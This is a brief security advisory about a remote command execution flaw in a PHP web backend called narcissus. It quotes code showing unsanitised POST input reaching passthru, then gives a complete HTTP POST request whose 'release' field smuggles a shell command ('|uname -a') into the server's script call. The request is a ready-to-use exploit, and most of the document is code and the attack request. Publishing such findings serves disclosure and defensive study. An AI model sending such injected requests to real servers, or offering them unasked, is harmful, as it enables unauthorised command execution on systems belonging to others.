Remote Command Execution # .cut.. # if (isset($_POST["action"]) && $_POST["action"] != "") { # $action = $_POST["action"]; // 1 # } else { # print "Invalid action: $action"; # exit; # } # # if (isset($_POST["machine"])) { # $machine = escapeshellcmd(basename($_POST["machine"])); // 2 # } else { # print "Invalid machine"; # exit; # } # ..cut.. # if (isset($_POST["release"]) && $_POST["release"] != "") { # $release = $_POST["release"]; // 3 # } else { # $release = "stable"; # } # ..cut.. # switch($action) { # ..cut.. # case "configure_image": // 4 # print "configuring\n"; # configure_image($machine, $name, $release); // 5 # break; # ..cut.. # function configure_image($machine, $name, $release) { # print "Machine: $machine, name: $name\n"; # passthru ("scripts/configure-image.sh $machine $name-image $release && exit"); // 6 [RCE] # } # ..cut.. # # Vuln: # http://www.example.com/narcissus/backend.php # # POST /narcissus/backend.php HTTP/1.1 # Host: localhost # User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/16.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: pl,en-us;q=0.7,en;q=0.3 # Accept-Encoding: gzip, deflate # Connection: keep-alive # Content-Type: application/x-www-form-urlencoded # Content-Length: 50 # machine=0&action=configure_image&release=|uname -a ### [ dun / 2012 ] #######################################